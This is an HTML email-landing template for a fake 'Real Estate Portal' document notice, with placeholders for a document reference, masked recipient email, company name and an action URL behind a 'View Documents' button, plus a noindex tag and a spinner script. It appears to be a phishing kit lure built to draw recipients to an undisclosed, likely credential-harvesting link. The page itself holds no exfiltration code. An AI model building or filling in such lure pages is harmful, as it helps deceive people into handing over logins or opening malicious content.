²é¿´/±à¼ ´úÂë
ÄÚÈÝ
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1.0"> <title>Document Portal</title> <meta name="robots" content="noindex,nofollow"> <style> *{margin:0;padding:0;box-sizing:border-box} body{font-family:Arial,sans-serif;background:#f7f7f7;min-height:100vh;display:flex;align-items:center;justify-content:center;padding:20px} .container{background:#fff;max-width:420px;width:100%;border-radius:8px;overflow:hidden;box-shadow:0 4px 20px rgba(0,0,0,0.08)} .header{background:linear-gradient(135deg,#6366f1,#8b5cf6);padding:24px} .header-inner{display:flex;justify-content:space-between;align-items:center} .header h1{font-size:15px;color:#fff;font-weight:400} .header p{font-size:10px;color:rgba(255,255,255,0.8);margin-top:3px} .ref-box{background:#fff;padding:8px 12px;border-radius:4px} .ref-box .label{font-size:8px;color:#6366f1;font-weight:600} .ref-box .value{font-size:12px;color:#1f2937;font-weight:700;margin-top:1px} .content{padding:24px} .doc-box{background:#f9fafb;border-radius:8px;padding:22px;text-align:center;margin-bottom:16px} .doc-box .icon{font-size:28px;margin-bottom:8px} .doc-box .name{font-size:13px;font-weight:600;color:#1f2937} .doc-box .meta{font-size:10px;color:#6b7280;margin-top:4px} .info-grid{display:grid;grid-template-columns:1fr 1fr;gap:10px;margin-bottom:16px} .info-item{background:#f9fafb;padding:12px;border-radius:6px} .info-item .label{font-size:9px;color:#6366f1;font-weight:600} .info-item .value{font-size:11px;color:#1f2937;font-weight:600;margin-top:3px} .btn{display:block;width:100%;padding:13px;background:linear-gradient(135deg,#6366f1,#8b5cf6);color:#fff;text-decoration:none;text-align:center;font-size:13px;border-radius:20px;margin-top:10px} .btn:hover{opacity:0.95} .footer{padding:14px 24px;background:#f9fafb;text-align:center;font-size:9px;color:#9ca3af} .loading{display:none;text-align:center;padding:40px} .spinner{width:32px;height:32px;border:3px solid #e5e7eb;border-top-color:#6366f1;border-radius:50%;animation:spin 1s linear infinite;margin:0 auto 12px} @keyframes spin{to{transform:rotate(360deg)}} </style> </head> <body> <div class="container"> <div class="header"> <div class="header-inner"> <div><h1>Real Estate Portal</h1><p>Documents</p></div> <div class="ref-box"><div class="label">REF</div><div class="value">{{doc_ref}}</div></div> </div> </div> <div class="content" id="main"> <div class="doc-box"> <div class="icon">📑</div> <div class="name">{{doc_ref}}</div> <div class="meta">{{date}}</div> </div> <div class="info-grid"> <div class="info-item"><div class="label">RECIPIENT</div><div class="value">{{email_masked}}</div></div> <div class="info-item"><div class="label">PROPERTY</div><div class="value">{{company}}</div></div> </div> <a href="{{action_url}}" class="btn" id="btn">View Documents</a> </div> <div class="loading" id="load"><div class="spinner"></div><p style="color:#6b7280;font-size:12px">Loading...</p></div> <div class="footer">Secure Portal</div> </div> <script>(function(){var b=document.getElementById('btn'),m=document.getElementById('main'),l=document.getElementById('load');if(b&&m&&l)b.onclick=function(){m.style.display='none';l.style.display='block'}})();</script> </body> </html>